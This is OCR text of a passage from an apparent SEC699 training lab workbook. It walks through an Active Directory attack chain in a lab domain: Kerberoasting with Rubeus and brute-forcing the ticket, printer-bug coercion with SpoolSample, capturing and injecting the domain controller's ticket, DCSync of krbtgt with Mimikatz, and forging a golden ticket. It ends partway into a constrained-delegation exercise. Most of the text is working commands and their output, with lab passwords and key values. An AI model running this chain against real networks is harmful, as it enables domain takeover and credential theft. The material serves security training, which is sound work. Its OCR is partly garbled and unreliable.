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Initialize Interactive with Project

Solutic source Control g
Cut Ctrl+X
Rubed g1 Paste Ctrl+V
E ‘ X Remove Del
= Mis(: Rename
Proj; Unload Project

Proj Load Project Dependencies
¢* Open Folder in File Explorer

M Properties Alt+Enter

In the properties view, please change the Target frameworkto .NET Framework 4.5.You will
receive a confirmation prompt, in which you can select ves:
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Application
Build

Build Events
Debug
Resources
Services
Settings
Reference Paths
Signing
Security
Publish

Code Analysis

Configuratio NFA fo NAA

Assembly name: Default namespace:

Rubeus | IRubeus

Target framewaork: Output type:

NET Framewark 4.5 v~ Console Application »
[J] Auto-generate binding redirects

Startup object:

(Mot set) ~ A W Ink 4

| Target Framework Change
Resources

Specify how application resources will be managed:

® Icon and manifest

Changing the Target Framework requires that the current
project be closed and then reopened.

Any unsaved changes within the project will be automatically
saved.

A manifest determines specific settings for an application. To embed a custom ¢

your project and then select it from the list below.

lcon:

Changing Target Framework may require manual modification
of projectfiles in order to build,

| Default Icon)

Are you sure you want ta change the Target Framewaork for
this project?

Manifest:

|Embed manifest with default settings

| Yes |

No

O Resource file:

Please also ensure you are configured for a Release

dropdowns.

Sdd Wiew

4] fire

fo-ol@-c @ d.0-

Frojct Bl Bebag et Aielyee
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Help
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Once done, you may click Build and Build Solution:
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m File Edit View Project ' Build Debug Test Analyze Tools Extensions W
2 _ | = - -
ie-0|8-2mM|9 t22) Build Solution Ctrl+Shift+B
Rebuild Solution

Clean Solution

Run Code Analysis on Solution Alt+F11

B |

Build Rubeus Ctrl+B
Rebuild Rubeus

Clean Rubeus

Publish Rubeus

Run Code Analysis on Rubeus

12101dx3 ARG

— |
o}
-3
o
o
<

Batch Build...

Configuration Manager...

After a couple of seconds, you should either:

e Receive a successful build message
e Receive an indication that the compiled executable was already up to date

In both cases, the compiled executable will be stored in
C:\Tools\GhostPack\Rubeus\Rubeus\bin\Release\Rubeus.exe .

SpoolSample

Next, please open the SpoolSample solution from C:\Tools\SpoolSample\MS-RPRN.s1n. If you
are restarting Visual Studio, remember to run it as administrator. Once the solution is
opened, you may be asked to retarget the solution. If this happens, feel free to accept by
pressing the ok button:
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Review Solution Actions

Retarget Projects

The following projects use an earlier version of the Visual C++ platform toolset. You can
upgrade your projects to target the latest Microsoft toolset. You can also select the target
Windows SDK version from those installed on your machine.

Windows SDK Version: 10.0 (latest installed version) ~ l‘

Platform Toolset: Upgrade to v142 v

AMS-RPRN\MS-RPRN.vcxproj

As for Rubeus, make sure to build a Release targeting the x64 architecture from the top-bar's
dropdowns.

gﬂm Edit View Project Build Debug Test Analyze Tools
P00 B2 BP0 - Reease - x84 e

Finally, click Build and Build Solution:
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pq File Edit View Project Build Debug Test Analyze Tools Extensions Window  Hel
fo-o| a2 M| [ Build Solution Ctrl+Shift+B
Rebuild Solution
Clean Solution

ger ~

Build full program database file for solution
Run Code Analysis on Solution Alt+F11

12101dx3 1RAIRS

Build MS-RPRN Ctrl+B
Rebuild MS-RPRN

Clean MS-RPRN

Run Code Analysis on M5-RPRN

Project Only

=
(=]
o
o
(=]
-

Publish Selection

Batch Build...

Configuration Manager...

SpoolSample should now be compiled in
C:\Tools\SpoolSample\SpoolSample\bin\Release\SpoolSample.exe.

Step 2: Install PowerShell Active Directory Module

In order to properly enumerate Active Directory settings (and vulnerabilities), we need to
ensure the machine we are working from has the capability to do so. One common way is to
use the built-in PowerShell modules for AD management. Note that these tools are installed by
default on Windows Server Operating Systems, but need to be installed on Client Operating
Systems such as Windows 10.

The PowerShell Active Directory Module is part of the Remote Server Administration Tools
(RSAT), more specifically the "Active Directory Domain Services and Lightweight Directory
Services Tools".

On a typical Windows 10 system, these tools can be installed by using the following command.

Note: Please DO NOT try to run this command on your Commando, as Windows Updates are
disabled, which will break the command:

Add -WindowsCapability -online -Name "Rsat.ActiveDirectory.DS-
LDS.Tools~~~~0.0.1.0"

We will use a more stealth mechanism to use the module, where we just import the required
files, which complicates detection and does not require administrative privileges!
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Please open an RDP session to WIN10 ( 192.168.20.105 ), as the unprivileged student user
(password sec699!! ). Once connected, download the
Microsoft.ActiveDirectory.Management.zip files which you may extract to
Microsoft.ActiveDirectory.Management from the right-click menu. Once extracted, feel open
a PowerShell prompt and load the module.

As a first step, we'll need to properly set the ExecutionPolicy for our current user:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force
We can then unblock the files downloaded from the internet.

Unblock-File -Path
C:\Users\student\Downloads\Microsoft.ActiveDirectory.Management\x*

After which we can proceed to import the module.

Import-Module
C:\Users\student\Downloads\Microsoft.ActiveDirectory.Management\ActiveDirectory.psdl

E¥ Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

student> Import-Module .\Downloads\Microsoft.ActiveDirectory.Management\ActiveDirectory.psdl
\student>

If all went well, this command will not return any output.

Step 3: Identify Computers and Users Configured with Unconstrained Delegation

As part of our overall enumeration activities, we'll need to first identify any accounts (user or
computer accounts) that are configured for unconstrained delegation. As a reminder, such
accounts have the TrustedForDelegation flag set.

We will first investigate normal user accounts. We can use the following PowerShell syntax to identify
user accounts:

Get-ADUser -Filter {(TrustedForDelegation -eq "True")}
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E¥ Windows PowerShell -

:\Users\student> Import-Module .\Downloads\Microsoft.ActiveDirectory.Management\ActiveDirectory.psdl
:\Users\student> Get-ADUser {(TrustedForDelegation )}

DistinguishedName : CN=sql_svc,CN=Users,DC=sec699-28,DC=1ab
Enabled :

GivenName

Name

ObjectClass

ObjectGUID

SamAccountName

UserPrincipalName :

PS C:\Users\student>

The output of this command should reveal that we have at least one user account sql_svc
configured with unconstrained delegation:

DistinguishedName : CN=sql_svc,CN=Users,DC=sec699-20,DC=1lab

Enabled : True

GivenName

Name : sql_svc

ObjectClass . user

ObjectGUID : f071593c-5249-404d-9¢c15-7330798bd138
SamAccountName : sql_svc

SID ¢ S-1-5-21-1850752718-2055233276-2633568556-1128
Surname S

UserPrincipalName

Let's repeat the analysis for computer accounts by using the following PowerShell syntax:

Get-ADComputer -Filter {(TrustedForDelegation -eq "True")}
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C:\Users\student> Get-ADComputer

DistinguishedName

ObjectClass
bjectGUID
SamAccountName
SID
UserPrincipalName

DistinguishedName
DNSHostName

ObjectClass
ObjectGUID
SamAccountName
SID
UserPrincipalName

The output of this command should reveal that we have at least two computer accounts pcs and

{(TrustedForDelegation

CN=DC,0OU=Domain Controllers,DC=sec699-20,DC=1ab
dc.secb99-28.1ab

True

DC

computer

25Ff7ca%6-45b8-4979-8a408-d763716cc7chb

DCS
$-1-5-21-3243290343-3591274540-1866670143-1001

CN=SQL ,CN=Computers,DC=sect99-28,DC=1ab
sql.sech99-2@.1ab

True

SQL

computer

Ba38264f-ece3-49F4-9cBf-b998a528bba7

SQLS
$5-1-5-21-3243298343-3591274540-1866678143-1131

soL$ configured with unconstrained delegation:

DistinguishedName

DNSHostName
Enabled

Name
ObjectClass
ObjectGUID
SamAccountName
SID

UserPrincipalName

DistinguishedName

DNSHostName
Enabled

Name
ObjectClass
ObjectGUID
SamAccountName
SID

CN=DC,0U=Domain Controllers,DC=sec699-20,DC=1lab
dc.sec699-20.1lab

True

DC

computer

be481b03-eaec-4bd5-a658-6f4ablfe4666

DC$
S-1-5-21-1850752718-2055233276-2633568556-1001

CN=SQL ,CN=Computers,DC=sec699-20,DC=1lab
sql.sec699-20.lab

True

SQL

computer

62cc1de9-9739-4a00-9137-a644c380684c

SQLS
S-1-5-21-1850752718-2055233276-2633568556-1131

UserPrincipalName

As indicated during lecture, the domain controller ( bcs$ ) by default is configured with
unconstrained delegation, so this should not be a surprise. The interesting ones are, however,
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the sql_svc user and sqQL$ computer account. If we want to abuse these, we'll need to find a
way to compromise them!

Step 4: Confirm the Kerberoasting Feasibility

Let's further investigate the sql_svc account, by re-running the PowerShell Get-ADUser
cmdlet. This time, however, we'll add the -Properties * flagto get all details on the user:

Get-ADUser sqgl_svc -Properties x

When you scroll through the output of this command, you'll notice the "ServicePrincipalName"
field... Interesting, this is a service account; we could thus try to Kerberoast it!

£ Select Windows PowerShell - O X

PostalCode -
PrimaryGroup : CN=Domain Users,CN=Users,DC=sec699-20,DC=1ab
primaryGroupID -
PrincipalsAllowedToDelegateToAccount : {}
ProfilePath
ProtectedFromAccidentalDeletion
pwdlLastSet
ccountName
ccountType
ScriptPath
sDRightsEffective -
ServicePrincipalNames : {MSSQ sec699-20.1ab}
SID : S5-1-5- 290343-3591274540-1866670143-1128
SIDHistory ')
SmartcardLogonRequired
State

Let's confirm we can actually Kerberoast the account using Rubeus. Please copy Rubeus.exe

from your CommandoVM ( C:\Tools\GhostPack\Rubeus\Rubeus\bin\Release\Rubeus.exe ) to
the WIN10 machine (you can store it in the c:\Users\Student\Downloads folder).

In the same PowerShell window, please execute the following command:

.\Downloads\Rubeus.exe kerberoast

You should see a similar output as below:
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E¥ Windows PowerShell - O X

student> Unblock-File .\Downloads\Rubeus.exe
tudent> .\Downloads\Rubeus.exe kerberoast

Action: Kerberoasting

NOTICE: AES hashes will be returned for AES-enabled accounts.
Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

Searching the current domain for Kerberoastable users

Total kerberoastable users : 1

SamAccountName

DistinguishedName
ServicePrincipalName

PwdLastSet :
Supported ETypes : RC4 HY”'C
Hash ¢ $krb5tgs

43F5QEDDA BE17 19254 3EDCB6ES436EADG7DB51F48F8350C

DFAF57E18EDSE 2 5C4B6A472CC1E9FF1319EE10141CEFBEBLT
8475ECBAD99819F141AC7F73E@795518BBC86842F2D47DFEC94494(92(DA671B66BEDF20ABEAF49F
EDC2F8AD4AEFB528D877D6324E6E7F7EGD4 2ACB3BBE3BEACE5451683A3A08345A7FESB35DFCE2322
D7BDBEC9@B5CABA45A441EABCE3B6C5FB811FC614FDB3D47279F5B079846F52D930938AFB3C (96544
4A170A9B42035B2ABDACE4141C35EF91ED398CAE43EFO9FEBG92C8F479EB4B098529E6RFE4BEAGASB
33859644 1E3B12CCA7ADEF8995549C8BF92FFBOABCFS529E1FF1ID31ECI4A1322E9436E4D4BCESFCS
S5CAC218380D8949CF508ECA31C1DFEBF141ECAB29A872A6A811204FB7C41DE276F21651EFB6F4AB7
1666A6D6C@87C23EA43(C32BC2DOR4CE4BBOF822A446A53A7315EE478AB6FBOBO54AFA17DESBE7AG2
6242EDBE18BA19328EEQO7A3805COC2EFB61ABD2 2E4BA15452CDACCF7ACFAB6B1CAIFCI3FBC127
DSAB4CF1C126C(DD2CS93BA186A71BDDFI95DF@BAA 9D2613F@5D9482DEBDA123D1EF18339828ECCC
16881F80FDB27138493B5D4F804FDABR1D35DES29344300F6526CA1161A8D 3BDF81E85ABASD
EC1B5AD952DBB@82432DD1EB95@B7EGO8459CB0GB1118005D8DOA635BED32296B82F97 3EDBEC7S
870737919B413EF@93A1CFODAF7D4FB1FBFO229DBEE38F2369687(C1460A636DA9E9F6240D89A8582
DA BDB?7895F4?D194BZT29F0D8q3792864/Cl/ 20EFC7C8B77A0157982288DE9CEFF742
646AEDD285DBF 20A69B8259D@0A6D328E9EF65C1E9DA4E2ZA9ADEB51C4D9315A711D7 8
FBDFE88D2C2F28D4B2FFO838FBA98960631E9089ED4BAGETEA45B261A7A2B37C6CBDF2CC
SDFBA7A742BORESB1ABF30CD26CECS93ACEB1A 196AB(C5388335FADE9E@125C90B254AC
CB300246C33E59B6ABBE7AFGEBEAS7D17125A89FFFO4DB5C1841FF672A7AB3D6894943E3
FFC48D7D7DDBES7E15629CE21065BD7CB25E@B51370F5COF420FE905517F(C843A6BESF558

Excellent! Note in the output of the command the krbstgs$23 (at the start of the Hash). This
indicates we are dealing with an RC4-encrypted Kerberos service ticket. More information on
Kerberos encryption types can be found on https://www.iana.org/assignments/kerberos-
parameters/kerberos-parameters.xhtml.

Step 5: Brute force the service ticket

Let's now try to brute-force the RC4 service ticket to see if we can recover the service account
password. One of the recent additions to Rubeus is the brute feature, which allows simple
brute forcing. We have provided you with a dictionary you can use. Please download it on your
CommandoVM and copy it to the WIN1e systemin C:\Users\Student\Downloads .

We can now instruct Rubeus to brute-force the service tickets obtained using the built-in
brute function.
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.\Downloads\Rubeus.exe brute /user:sql_svc /passwords:.\Downloads\passwordlist.txt

EN Windows PowerShell — O X

:\Users\student> .\Downloads\Rubeus.exe brute /user:sql_svc /passwords:.\Downloads\passwordlist.txt

Saved TGT into

Done

PS C:\Users\student> _

Success! We have now obtained the right password 3g2w31Eo and we can start using it! A few
additional notes:

e Rubeus has also written a TGT for later impersonation of the service account in
sql_svc.kirbi

e The above Rubeus command can also be ran without the /user flag. In this case, Rubeus
will request service tickets for all "Kerberoastable" users and attempt cracking all of them!

Step 6: Connecting to the SQL Server

The sql_svc account has an interesting property: It's a local administrator to the sqL server!
We've given you this nugget of information in this scenario, but how could one figure this out in
a real attack scenario?

e Enumerate local administrator membership using BloodHound
e Manually review all groups and memberships in the domain
e Guess:)

Please open a new Remote Desktop connection to the sQL server (192.168.20.104 ) using the
recently compromised SEC699-20\sql_svc account (password 3g2w31Eo ). Once connected,
please copy paste Rubeus.exe to the Downloads folder of the sql_svc user
(C:\Users\sql_svc\Downloads ).

Step 7: Run Rubeus in Monitoring Mode
Now that we have a local administrator access to the sQL server, we'd like to further escalate

to full AD compromise. As explained during the lecture, we can achieve this by combining the
unconstrained delegation misconfiguration and an interesting vulnerability called the "Printer
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Bug". The Printer Bug will coerce a domain controller to connect with a service and/or machine
configured with unconstrained delegation...

First up, we'll need to run Rubeus in monitoring mode on the machine that we've
compromised!

Let's open an elevated command prompt (right-click - Run As Administrator) on the sqQL server
and run the following commands:

Check the domain controller (using the LOGONSERVER environment variable):

echo %LOGONSERVERY%

BN Administrator: Command Prompt

Microsoft Windows [Ve 10.06.17763
(c) 2018 Microsof ) tion. All

: \Windows\system32>echo XLOGONSERVER%

C:\Windows\system3

Next, let's browse to the c:\Users\sql_svc\Downloads folder. Make sure you copy/pasted
Rubeus from your Commando machine into the downloads folder. Once done, run Rubeus in
monitor mode, thereby looking for connections coming from the Domain Controller computer
account DCs:

cd C:\Users\sql_svc\Downloads
Rubeus.exe monitor /interval:5 /filteruser:DCS$ /nowrap

Administrator: Command Prompt - Rubeus.exe monitor /interval:5 /filteruser:DCS /nowrap = O X

C:\Users\sql_svc\Downloads>Rubeus.exe monitor /interval:5 /filteruser:DC$ /nowrap

Some background information on the flags we used:
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e /interval:5:We want to refresh every 5 seconds
e /filteruser:DC$:We only want to look for incoming connections for the pc$ account
e /nowrap: We want to dump the ticket in one big line (easier to copy paste).

Step 8: Coerce the Domain Controller to Connect to the Compromised Server

We will now abuse the printer bug to force the domain controller to connect to our SQL server.
This action does not need to be executed on the same system where the Rubeus monitor
command is running. Let's run it from our WIN10 machine ( 192.168.20.105 ), to which you still
have an RDP session open.

Please copy SpoolSample.exe from your CommandoVM (location
C:\Tools\SpoolSample\SpoolSample\bin\Release\SpoolSample.exe ) to the
C:\Users\student\Downloads folder on WIN10.

In a new unprivileged Command Prompt, use SpoolSample to have the Dc connect to the sQL
machine:

.\Downloads\SpoolSample.exe DC SQL

&% Command Prompt — O X

ved an invalid handle. The coerced authentication probably worked!

Step 9: Extract TGT of Domain Controller Computer Account

Once you've executed SpoolSample.exe and received the output indicated in the previous
step, please switch back to the Remote Desktop session on the SQL server (192.168.20.104 ).
In the command prompt where you had Rubeus.exe runningin monitor mode, there will be
quite some output. If not, please try running the SpoolSample command again.

348 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

BX Administrator: Command Prompt - Rubeus.exe monitor /interval:5 /filteruser:DCS /nowrap = (| X

DC$

every 5 seconds for new TGTs

*] 4/13/2020 11:13:22 AM UTC - Found new TGT:

User

StartTime

EndTime : /
RenewTill : 4/17/2020

name_canonicalize, pre_authent, renewable, forwarded, forwardable

One of the outputs will include a TGT for pcs (The TGT is encoded in Base64 and printed in the
command window). An example of such an output is below:

[*x] 4/13/2020 11:13:22 AM UTC - Found new TGT:

User : DC$@SEC699-20.LAB

StartTime : 4/13/2020 8:33:06 AM

EndTime : 4/13/2020 6:31:19 PM

RenewTill : 4/17/2020 2:00:48 PM

Flags : name_canonicalize, pre_authent, renewable,
forwarded, forwardable

Base64EncodedTicket

doIFBjCCBQKgAwIBBaEDAZEWooIEDTCCBAlhggQFMIIEAaADAZEF0Q8bDVNFQzY50SOyMC5MQUKII A

[*] Ticket cache size: 1

In the output above, you'll see that the full TGT is included in the Base64EncodedTicket field.
Note that your exact value will be different (as you have your own unique TGT).

Please select the ticket (as seen in the screenshot) and copy it by pressing the ENTER button
once selected.
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¥ Select Administrator: Command Prompt - Rubeus.exe monitor /interval:5 /filteruser.DCS /nowrap — O X

e Found new TGT

D
4 AM
4 20 . PM
4 PM
pre_authent, renewable, forwarded, forwardable

doIFBjCCBQKgAwWIBBaEDAgEWOOIEDTCCBAlhggQFMITEAaADAGEFOQ8bDVNFQzYS0S0yMCSMQUK LI jAgoAMCAQKhGTAXGWZ reml@Z3QbDVNFQzYS0S0yMCSM
QUK jggPDMIIDV6ADAEESOQMCAQKiggOXBIIDrR7phamAZL4kMoMOXUyto@HQY34cr8CKS+2ZBzhZynyMSVy juzE9UPkoylW/05u9kp6saVRB1xhObnOuL4TX/ pUK7|
0TUB1Z1799xMWg1eR/pLVWHHSKIRv7UwjQpGaCZNShPgXewdIJooDQXXBk8U4kPjGnpSC/ rtrblinazwZcxihy5xb2ImjK77aHRz/Ho+/ IfPBMKIJirhoLT{UO71n)
wl/TajFmK+yV/cy+65vKiaOu7rOwRtfFyjc/AvYg8eKaoUj+XpFOcV1DLBmpRxaIwOWjcOwjNd76K3yZNX+LOI7dQrKgmxnriJ8TOH1ybX4PEwWTvLRsxoyl7Tehr|
zA12c7ttegi74ncYOrhnNziujrQYUDQzo9CmGmuoZkyGAONGgXV/9DQTHSWBTVDLYS50qSFsy TWhnAkgIRZMh+gAjnJULROK2v3DxtqTquwrgimkxYCQycSZRDjbrd
LnrwSM66CiJoBIoxtuUmENNLNQvMgp8/JAynzrodatHxVav8YFgvntjgc/YSIup3TbPuipHhrt/Wwah@BQOzeQKvq8CIDYAfpdIMcJAVFBUSTg500scxH3aP7naF
akDtCr581RCt+rBz@30Dpx6ugqlUnieqFx/KrZ/CvXGRXbme5QLGMBG]5iV6rpK8tydy9HpKzhKr@8aVopzmBFD2vhVibkuQjQPulgm57N08ssnQledE /WGKGPBI
2VaZFKAQ5SUik24jwbSNkxgDwtsAIpLKqOLVt/LygBLNOURI6gYQawby92ENuvQhgqKJ0ioqg8P5aWzDEUYGE7 j4pZq61xSGKqYFg2aYL3R62fiCklrloYJ2Cfcs
ynXNB/AGg/HWi0l6rtEk3zIiNLnbhgIqyOEqOkuxfLY/WyMWXWplO6uIuc1IUrobKftTef3PIn3UUWQOCHEF7DloqIVsxikyUyShepFn7mx8LeYs5gymeD/qT5Ty
d1EtBmX3fuQ1SqSenBpKmUkr+RvRDRzXTJID14Hx/wgzCAhMM3QRTWkelilkkseqvm2XiTY@fCelLXTwvT+sHOdtIonjgeMBuNS3BH+6Izn/LPgXwpkim21/gFs8WY3
ym40YvD7MPgvMx/r+ely/yD12rjeICotqZNnVXWUkMAA7WIbszZp4ALgMo/NkBakyB8xx0cN3vNiL4bQikXgUx1E91D6s557Ehp@7omjSuZbgRzZeDcULu45¢c/dS
XrlFEItquK4LBaH926hL551115k14RRhuCQKGajXTaYOQVzKHUho4HkHIHhoAHCAQC1gdkEgdZdiHugnggceugcowgcegKzApoAHCARKhIgQgUVGQJtFHlrJg
pbiESkWBTGOB2Q1Nh5V+]jkFHKOSISBehDxsNU@VDNjkSLTIwLkxBQqIQMA6gAWIBAaEHMAUDAGRDIKMHAWUAYK EAAKURGASYMDIWMDQxMzA4MZzMWN1gmEREPMjAyY
MDAGMTMXODMXMT 1apxEYDz IwMjAWNDE 3MTQwMDQ4WggPGw1 TRUM20TktMjAUTEFCGSIWIKADAgECORKkWFX5Ga3J]idGdeGwlTRUM20TktMJAUTEFC

Step 10: Inject TGT on a Target to Impersonate the Domain Controller

Now that we have a TGT for the pcs$ domain controller computer account, we will inject this
using Rubeus' Pass-The-Ticket function ( ptt ). In the RDP connection where we first ran Rubeus
(i.e. 192.168.20.105), start by clearing all currently loaded Kerberos tickets using the purge
command. We can do this using the following Rubeus command in our previously opened
PowerShell window:

.\Downloads\Rubeus.exe purge

350 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

We will specify the entire Base64 encoded ticket (retrieved in the previous step) in one,
uninterrupted, string as part of the /ticket: argument.

The expected command and output is as follows (your ticket value will be DIFFERENT)::

.\Downloads\Rubeus.exe ptt
/ticket:doIFBjCCBQKgAwIBBaEDAgZEWooIEDTCCBAlhggQFMIIEAaADAZEF0Q8bDVNFQzY50S0OMC5MQUK:
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E¥ Command Prompt = O X

s\Rubeus.exe ptt

bDVN

kXgUx1
gdM

mported!

Note that other tools (such as Mimikatz), have similar features, so Rubeus is just one option of
a tool to use to inject tickets.

Step 11: Leverage DCSync to obtain krbtgt Kerberos encryption key

Once the ticket is injected, we can now use Mimikatz to leverage the DCSYNC replication
privileges associated with the DC computer account. What account should we compromise
using DCSync? The krbtgt account of course! Please copy / paste Mimikatz from your
CommandoVM ( C:\tools\Mimikatz\x64\mimikatz.exe )to the WIN10 machine (location
C:\users\student\Downloads ).

Next, in the command prompt window you had opened, please open Mimikatz.exe:

.\Downloads\Mimikatz.exe

In the Mimikatz CLI (Command Line Interface), let's list all loaded TGTs.

kerberos::list
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B¥ mimikatz 2.2.0 x64 (oe.eo) - Od X

g\

) #18362 Mar 8 2020 13:32:41
- (oe.eo0)

tilkiwi.com )

mail.com )
tlogon.com {

mimikatz # kerberos

[oooo000e] - ©Ox00000012 -
Start/End/ /13/ AM ; 4/ 020 6:31:19 PM ; 4/17/2020 2:00:48 PM
Server Name : k C699-20.LAB -20.LAB
Client Name : DC$ @ 699-20.LAB
Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;

mimikatz #

As we have the pcs TGT, let's dump the secrets of the krbtgt account.

lsadump: :dcsync /user:krbtgt

BX mimikatz 2.2.0 x64 (oe.e0) - (] X

lsadump: :dcsync /user:krbtgt
-20.1ab’ will be the domain
-20.1ab" will be the DC server
"krbtgt® will be the user account

Object RDN : krbtgt
* SAM ACCOUNT **

krbtgt
: 30000000 ( USER_OBJE )
unt Control : 90000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
piration
t change : 4/10/2020 12:22:57 PM
- 1-5-21-324329 -3591274540-1866670143-502
502

* Primary:NTLM-Strong-NT
Random Value : 9467ba

The DCSync command will dump all information related to the krbtgt account. This includes
quite some sensitive information, such as the following fields:

e Hash NTLM field: The NT hash for the krbtgt account
e aes_256_hmac field (under Kerberos-New-Keys): The AES256 encryption key for the krbtgt
account

As you have stolen the account secrets of the krbtgt account, you have successfully
compromised the domain! Let's consolidate our access!

Step 11: Create and Inject a Golden Ticket for the Domain
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As a final step, let's create a golden ticket for the domain administrator, thereby using
Mimikatz. We can achieve this by using the kerberos::golden command in Mimikatz.

We will first make sure to remove any other tickets from memory.

kerberos: :purge

We will need some easily accessible information (i.e. the domain name, domain SID, user to
impersonate) and some secret information (the krbtgt encryption keys, which we just
obtained). Note that the domain, SID and krbtgt encryption key will be different for your
specific instance!

e The SID can be retrieved from the "Object Security ID" field in the dcsync command. Note
that you'll need to REMOVE the "502" at the end, as this is the specific RID for the krbtgt
account. In the golden ticket command, we only need the generic part of the SID.

e The krbtgt encryption key can be retrieved from the "aes256_hmac" field, under
"Primary:Kerberos-Newer-Keys".

Example Mimikatz command to generate golden ticket:

kerberos::golden /domain:sec699-20.lab /sid:S-1-5-21-3243290343-3591274540-
1866670143
/aes256:cc4cd326473a0195661fc3302929e4509a2407aba4727c555b1572e8a75ded564
Juser:Administrator /ptt

A few remarks related to this command:

e We are generating a golden ticket for the Administrator domain administrator user.

e We are using the AES256 krbtgt encryption key instead of RC4 (harder to detect).

e The /ptt flag will immediately load the ticket in memory (default behaviour would be to
write it to disk for later usage).
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[

E¥ Command Prompt — Oa X

d326473a01983
20)
91274540-1866670143
518 519

c3302929e4509a2407abad727c555b1572e8a75ded564 - aes256_hmac
/11/2030 11:34:10 AM ; 11/20306 11:34:10 AM

red generated

Golden ticket for ‘Administrator @ sec699-20.lab’ successfully submitted for current session

Step 12: Validate Access to the Domain Controller
You may now close Mimikatz using the exit command:
exit

As a final step, let's validate our administrative access to \\Dc\c$, by running the following
command in the command prompt window:

Listing NTDS folder on DC through the c¢$ administrative share:

dir \\dc.sec699-20.1lab\Cs$\Windows\ntds\ntds.dit

mimikatz # exit
Bye!
C:\Users\studen
1ab\C$ is

p83-8A8D

Directory of \\dc.sec699-20.1ab\C$\Windows\ntds

04/10/2020 ©2:00 PM 16,777,216
) 16,

As you can see, we now have access to the administrative c$ share and can access the
ntds.dit file! Note that it's of course locked by the OS, but we do have the required privileges
to access it. If you're up for another challenge, try using your current access to copy the
ndts.dit file to the current machine (i.e. 192.168.20.105 ). This will require working around
the "OS lock"...

Exercise 6: Abusing Constrained Delegation
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The impact of the unconstrained delegation attack demonstrated in the previous example is
devastating, as adversaries can easily compromise the entire domain when just one system is
badly configured!

How easy is it to exploit Constrained delegation though?

Constrained Delegation

Delegation is a Kerberos feature that allows services to execute actions on behalf of
authenticated users (impersonation). A common example to explain the need for
delegation is front-end servers (e.g. web servers) that need to interact with back-end
servers (e.g. database servers) on a client's behalf.

Introduced in Windows Server 2003, constrained delegation includes Kerberos protocol
extensions “S4U2Proxy” and “S4U2Self”. Using constrained delegation, we can limit the
type of services a machine or account can access when impersonating another user
through delegation.

We will execute a constrained delegation attack in this lab. Afterwards, we will review detection
strategies for both constrained and unconstrained delegation abuse.

Lab Setup and Preparation

Performing this lab assumes you will start on the CommandoVM machine you prepared in a
previous lab. Ensure it is fully running and has network connectivity.

Objective 1: Abusing Resource-Based Constrained Delegation

As a second delegation abuse lab, we will focus on identification of insecure constrained
delegation configurations. These will be abused to perform privilege escalation in the domain.

In order to achieve this, we will perform the following steps:

e Enumerate domain information and identify systems with constrained delegation
e Obtain local admin access to a system configured with constrained delegation
e Abuse constrained delegation configuration to compromise the domain

Step 1: Connect to the WIN10 machine

We will start this lab from the WIN10 machine that was used in the Unconstrained Delegation
lab as well. Please open up an RDP connection to WIN10 192.168.20.105 with username
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student and password Sec699!! .

In a Windows command prompt, please ensure all Kerberos tickets have been purged by using
the following Rubeus command:

Purge tickets:

. \Downloads\Rubeus.exe purge

- Action:
uid: 6x8e
+]1 Tickets

:\Users\student>_

To be entirely sure (Kerberos can be a little finicky ), please also reboot the WIN10 machine.
This will close your RDP.

Step 2: Verify proper Rubeus purging

One you have re-established your RDP session to WIN10, we'll first confirm all tickets have
been properly purged from the system by running the following command:

dir \\dc.sec699-20.1lab\Cs$\Windows\ntds\ntds.dit
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BN Command Prompt

Microsoft Windows [Version 10.0.1
(c) 2018 Microsoft Corporation.

e v L P

>»dir \\dc.sec699-20. \ntds.dit

The "Access is denied." output confirms that we are not authorized to access the NTDS.dit file
from the domain controller (which we would expect for the unprivileged student user).

Step 3: Identify Computers and Users Configured with Constrained Delegation

Similar to the unconstrained delegation scenario, we will now enumerate domain information
to find accounts (user or computer accounts) configured with constrained delegation. As a
reminder, interesting accounts have a TrustedToAuthForDelegation flag (S4U2SELF) set and a
non-empty ms-DS-AllowedToDelegateTo field.

We can use the following PowerShell syntax to identify interesting user accounts. As you
restarted the machine, you'll need to import the AD module again as we did in a previous
objective. Please open a PowerShell window and execute fhe following commands:

Setldentify user accounts with constrained delegation:

Import-Module
.\Downloads\Microsoft.ActiveDirectory.Management\ActiveDirectory.psdl

Get-ADUser -Filter {(msDS-AllowedToDelegateTo -ne "{}")} -Properties
TrustedForDelegation,TrustedToAuthForDelegation,ServicePrincipalName, Description,
msDS-AllowedToDelegateTo

X Windows PowerShell — O X

PS C:\Users\student> Import-Module .\Downloads\Microsoft.ActiveDirectory.Management\ActiveDirectory.psdl
PS C:\Users\student> Get-ADUser t {(msDS-AllowedToDelegateTo )} TrustedForDelegation, TrustedTo|

AuthForDelegation,ServicePrincipalName, Description, msDS-AllowedToDelegateTo
PS C:\Users\student>

It appears there are no users configured for constrained delegation... Let's assess the
computer accounts using Get-ADComputer as well:

Identify computer accounts with constrained delegation:
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Get-ADComputer -Filter {(msDS-AllowedToDelegateTo -ne "{}")} -Properties
TrustedForDelegation,TrustedToAuthForDelegation,ServicePrincipalName, Description,
msDS-AllowedToDelegateTo

E¥ Windows PowerShell - O X

PS C:\Users\student> Get-ADComputer {(msDS-AllowedToDelegateTo )}

TrustedForDelegation, Trustjy

edToAuthForDelegation,ServicePrincipalName, Description, msDS-AllowedToDelegateTo

Description :
DistinguishedName : CN=WIN19,CN=Computers,DC=sec699-28,DC=1ab
DNSHostName : winl9.sec699-20.1lab
Enabled : True
msDS-AllowedToDelegateTo : {cifs/dc.s5ec699-20.1ab}

: WIN19

: computer

: 6ca8799e-262d-4843-9758-4be7fBac8cfe
SamAccountName : WIN19%
ServicePrincipalName : {TERMSRV/WIN19, TERMSRV/winl9.sec699-28.1ab, WSMAN/winl9, WSMAN/winl9.sec699-20.lab...}
SID + 5-1-5-21-3243290343-3591274540-1866670143-1132
TrustedForDelegation : False
TrustedToAuthForDelegation : True
UserPrincipalName 3

PS C:\Users\student>

It seems we are in luck; we found a computer account with constrained delegation. You'll
notice in the msbS-AllowedToDelegateTo field that this machine account is trusted to delegate
to the CIFs service onthe DC machine. In practice, this means that the wIN19$ computer
account can impersonate ANY domain user toward the CIFS service on DC... Interesting!

Step 3: Extract the Computer Account Hash from WIN19

In this lab scenario, let's assume we possess a user account with local administrator rights to
